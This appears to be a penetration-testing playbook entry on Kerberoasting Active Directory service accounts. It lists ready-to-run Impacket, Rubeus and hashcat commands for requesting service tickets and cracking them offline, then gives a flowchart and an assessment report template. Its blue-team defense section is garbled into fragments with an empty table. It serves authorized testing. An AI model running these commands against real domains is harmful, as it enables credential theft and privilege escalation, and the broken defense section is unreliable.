Kerberoasting Attack

When to Use

• When you have obtained initial access to an Active Directory domain (valid user credentials or a compromised domain-joined machine).
• To compromise service accounts, which often have elevated privileges (like Domain Admin) and rarely changed passwords.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying SPNs and Requesting Tickets (Linux/Impacket)

Using valid domain credentials from a Linux attack machine:

# Concept: Query AD for accounts with SPNs and request TGS tickets formatted for Hashcat impacket-GetUserSPNs target.local/low_priv_user:Password123! -request -outputfile kerberoast_hashes.txt -format hashcat

Phase 2: Extracting Hashes from a Windows Host (Rubeus)

If executing directly from a compromised Windows workstation (where you are already authenticated as a domain user):

# Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat

Phase 3: Offline Password Cracking

Extract the hashes from the output file and run them through Hashcat. Hashcat mode for Kerberoast (RC4) is 13100. (If AES, mode is 19600 or 19700).

# hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt -O

Decision Point 🔀

flowchart TD
    A[Valid AD Domain Access? ] --> B{Yes}
    B --> C[Query SPNs ]
    C --> D[Request TGS Tickets ]
    D --> E[Export to Hashcat Format ]
    E --> F[Offline Crack ]

🔵 Blue Team Detection & Defense

• Strong Service Account Passwords: Monitor Kerberos Event ID 4769: Use Group Managed Service Accounts (gMSA): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Kerberoasting Attack — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Impacket Docs: GetUserSPNs.py
• Mitre ATT&CK: Kerberoasting